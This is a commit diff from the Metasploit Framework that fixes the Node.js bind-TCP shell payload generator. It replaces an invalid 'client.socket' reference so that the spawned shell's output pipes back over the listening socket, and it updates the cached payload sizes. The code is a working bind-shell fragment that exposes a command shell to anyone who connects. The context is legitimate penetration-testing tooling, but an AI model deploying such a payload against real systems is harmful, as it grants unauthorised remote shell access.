Land rapid7#9072, remove invalid 'client' object reference in nodejs

Author: jmartin-tech

lib/msf/core/payload/nodejs.rb

@@ -19,11 +19,11 @@ def nodejs_bind_tcp
           var sh = cp.spawn(cmd, []);
           socket.pipe(sh.stdin);
           if (typeof util.pump === "undefined") {
-            sh.stdout.pipe(client.socket);
-            sh.stderr.pipe(client.socket);          
+            sh.stdout.pipe(socket);
+            sh.stderr.pipe(socket);
           } else {
-            util.pump(sh.stdout, client.socket);
-            util.pump(sh.stderr, client.socket);
+            util.pump(sh.stdout, socket);
+            util.pump(sh.stderr, socket);
           }
         });
         server.listen(#{datastore['LPORT']});

modules/payloads/singles/cmd/unix/bind_nodejs.rb

@@ -10,7 +10,7 @@
 
 module MetasploitModule
 
-  CachedSize = 2351
+  CachedSize = 2239
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_bind_tcp.rb

@@ -13,7 +13,7 @@
 
 module MetasploitModule
 
-  CachedSize = 583
+  CachedSize = 555
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS